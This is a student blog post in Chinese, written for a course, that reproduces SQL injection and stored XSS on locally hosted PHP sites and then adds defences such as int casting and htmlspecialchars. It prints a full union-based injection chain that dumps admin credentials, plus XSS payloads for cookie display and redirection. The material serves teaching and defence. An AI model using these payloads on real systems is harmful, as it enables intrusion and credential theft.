SQL和XSS的实现与防御

课程上学了一手简单的sql和xss,老师要求说要复现漏洞和实现防御。

PHP+MySQL下的SQL注入攻击与防御

漏洞复现

这里是对一个政府网站进行攻击:(本地搭建的一个模板,用的是NPMserv集成软件)

1541737850669

这里随便点进去一个,发现有这类关键词:http://127.0.0.1/info_show.php?info_id=142

疑似注入点

进行http://127.0.0.1/info_show.php?info_id=142 and 1=1回显正常

进行http://127.0.0.1/info_show.php?info_id=142 and 1=2回显不正常

因此可以判断这里是有注入点的

接着判断字段的数量:http://127.0.0.1/info_show.php?info_id=142 order by xx我从1一直试到5,都是回显正常,而到6的时候回显失败,那么字段数量就是5了

接着看哪个字段是有回显信息的:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,2,3,4,5 ,可以看到,这里只有第2和第3是有回显的字段,那么后面就主要用这两个进行泄漏数据库

1541738309041

这时:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,user(),database(),4,5

1541738428881

这里爆出了,当前的用户是root,数据库是govcn

继续爆govcn数据库中包含的数据表:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="govcn"

1541738631201

1541738658135

这里就爆出了gocvn数据库中有admin,index_dy,index_info,index_intro,jgsz,ldjj表,很明显我们要获得的帐号密码在admin里面,

继续爆admin的字段名:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_name="admin"

1541738857202

接下来就是爆出字段的内容了:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin(这里有一点编码的小坑需要跳一下)

1541739097994

最后终于日出了帐号和密码,这个密码是md5加密后的,拿去解密一下就搞出来了

1541739191094

成功登录后台:

1541739240321


防御手段

那么该如何进行防御呢?

我们先打开存在漏洞的info_show.php

1541741097979

可以看到,这里仅仅用了简单的传参数方式,根本没有对$info_id 进行判断,这里发现这个info_id是个字符串来的,因此想到的一个很简单的防御手段就是直接把$info_id强制转换成int型,那么就不会存在sql的注入漏洞了

直接把php中的代码进行改动:

1541742994914

在进行注入点的判断时,回显仍然正常,这是因为我们用强制转换成int型的inf0_id_int进行sql查询,也就不存在漏洞了

1541743081798

当然,还有别的方法,比如进行参数化的sql查询,但这个平台写的代码比较屎,我没办法进行太多的改变,只能对info_id进行操作,也可以限制info_id的长度,限制在5的话,基本也就不存在sql漏洞了

在网上查了一波,对sql注入的防御无非是对参数进行安全检查,用预处理参数化查询手动转义参数来进行相关的防御

PHP+MySQL下的XSS攻击与防御

漏洞复现

这里对一个比较简单的博客进行操作,同样是本地搭建的

1541744527993

既然是留言版,那就有可能存在xss漏洞,这里进行测试一波

在留言内容出输入:<script>alter("XSSS1")</script>

1541745095954

可以看到是有xss漏洞的,这种属于存储型的xss漏洞,顾名思义,也就是说这个xss留言会一直存在,任何打开这个网页的人都会出现这个弹出窗口

xss能的事情很多,比如嵌入网页:<iframe src= http://www.baidu.com width=400 height=300></iframe>

1541745456829

盗取cookic:<script>alert("your cookic is:"+document.cookie)</script>

1541745560720

实现网页跳转:<script>location="http://www.baidu.com"</script>

如果链接到一个恶意的钓鱼网站,后果相当严重

防御手段

如果进行防御呢?

同样的,关键点就在于对留言的内容进行审查

课程中老师介绍了DVWA这个平台,用于练习和测试各种web下的漏洞

其中对xss的防御也有一定的说明:

大致是对留言内容进行过滤,安全级别从低到高分别是:

  • 使用trim函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符
  • 使用mysql_real_escape_string函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
  • 使用stripslashes函数删除字符串中的反斜杠
  • 使用strip_tags函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签
  • 使用addslashes函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串

  • 使用str_replac e函数将输入中的
  • 使用preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $str)利用正则表达过滤了
  • 使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。这种大魔王防御一上来,基本上是无解了

回到那个简单的博客平台上来,我们打开有问题的函数gbook.php:

1541749285345

看完这个代码我顿时懵逼了,没见过这种添加留言内容的操作,于是接着打开config.php:

1541749384365

这才意识到这个博客是用一种设计模式来写的,真是花里胡哨的,关键的把留言单表内容传到数据库的操作是这一段代码:

1541749515348

那我直接一把梭上最严格的防御方法,使用htmlspecialchars函数,将数据在执行sql填入数据库之前进行过滤防御措施

1541749549273

这时我们来看看效果:

1541749691425

可以看到,之前能实现的xss攻击现在已经失效了

至此,防御成功~